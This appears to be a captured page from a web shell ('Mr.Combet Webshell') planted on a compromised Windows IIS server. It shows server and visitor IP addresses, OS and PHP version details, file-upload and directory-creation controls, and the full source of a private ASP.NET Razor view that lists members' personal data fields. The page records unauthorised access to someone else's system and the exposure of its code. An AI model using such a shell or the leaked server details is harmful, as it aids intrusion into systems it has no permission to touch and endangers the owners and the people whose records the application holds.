Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
Trader
/
View File Name :
_Members.cshtml
@using RER_Project.BusinessLayer.BusinessService @model List<RER_Project.DataAccess.Functions.Fn_Get_Members_For_Trader_By_Group> @{ var meta = AppUserService.GetCurrent(); } <style> /* Important part */ .modal-dialog { overflow-y: initial !important } .modal-body { height: 450px; overflow-y: auto; } </style> <div class="modal-dialog width"> <div class="modal-content" style="width:900px"> <div class="modal-header"> <span class="close" id="closeMember" data-dismiss="modal" aria-hidden="true">×</span> <label style="font-size:medium;"><b>Select Registered Members</b></label> </div> <div class="modal-body"> <div class="table-responsive" style="margin-top: 16px;"> <table id="example" class="footable table table-hover dataTables" data-page-size="8" data-filter=#filter> <thead> <tr> <th>Group Name</th> <th>Member Name</th> <th>Age</th> <th>Ethnicity</th> <th>Gender</th> <th>Contact No</th> <th>Origin</th> <th hidden></th> <th hidden></th> <th hidden></th> <th><a href="#" id="selectall">Select all</a></th> </tr> </thead> <tbody> @if (Model.Count() > 0) { foreach (var item in Model) { <tr> <td><input type="hidden" name="GroupId" value="@item.GroupId" />@item.GroupName</td> <td><input type="hidden" name="MemberId" value="@item.Id" />@String.Concat(item.FirstName, ' ', item.LastName)</td> <td>@item.Age</td> <td>@item.Ethnicity</td> <td>@item.GenderName</td> <td>@item.ContactNo</td> <td>@item.Origin</td> <td><input type="hidden" name="TotalSales" value="@item.TotalSales" /></td> <td><input type="hidden" name="TotalAmount" value="@item.TotalAmount" /></td> <td><input type="hidden" name="Commodity" value="@item.Commodity" /></td> <td><input type="checkbox" class="record"></td> </tr> } } else { <tr><td align="center" colspan="8">No Records Found</td></tr> } </tbody> </table> </div> <div class="row"> @if (Model.Count > 0) { <button class="btn btn-primary pull-right" id="export">Add Members</button> } </div> </div> </div> </div> <link href="~/Content/plugins/dataTables/datatables.min.css" rel="stylesheet" /> <script src="~/Scripts/plugins/dataTables/datatables.min.js"></script> <script> $(document).ready(function () { let runningTotal = 0; let table = ""; if (@Model.Count > 0) { table = $('.dataTables').DataTable({ stateSave: true, fixedHeader: true, pageLength: 10, dom: '<"html5buttons"B>lTfgitp', buttons: [ ] }); } $("#selectall").click(function () { if (runningTotal == table.rows().count()) { table.rows().every(function (rowIdx, tableLoop, rowLoop) { let clone = table.row(rowIdx).data().slice(0); clone[[clone.length - 1]] = '<input type="checkbox" class="record">' table.row(rowIdx).data(clone); }); } else { table.rows().every(function (rowIdx, tableLoop, rowLoop) { let clone = table.row(rowIdx).data().slice(0); clone[[clone.length - 1]] = '<input type="checkbox" class="record" checked="checked">' table.row(rowIdx).data(clone); }); } runningTotal = 0; table.rows().every(function (rowIdx, tableLoop, rowLoop) { var data = this.data(); if ($(data[data.length - 1]).prop("checked")) { runningTotal++ } }); $('#dvcount').html(runningTotal); }); $('#example tbody').on("click", ".record", function () { let clone = table.row($(this).closest('tr')).data().slice(0); let checkbox = clone[clone.length - 1]; if ($(checkbox).prop("checked")) { clone[[clone.length - 1]] = '<input type="checkbox" class="record">' } else { clone[[clone.length - 1]] = '<input type="checkbox" class="record" checked="checked">'; } table.row($(this).closest('tr')).data(clone); runningTotal = 0; table.rows().every(function (rowIdx, tableLoop, rowLoop) { var data = this.data(); if ($(data[data.length - 1]).prop("checked")) { runningTotal++ } }); $('#dvcount').html(runningTotal); }); $("#export").on("click", function () { let exportedRows = []; table.rows().every(function (rowIdx, tableLoop, rowLoop) { let data = table.row(rowIdx).data() if ($(data[data.length - 1]).prop("checked")) { exportedRows.push(data.slice(0, -1)); } }); addPMember(exportedRows); $("#closeMember").trigger("click"); }); }); </script>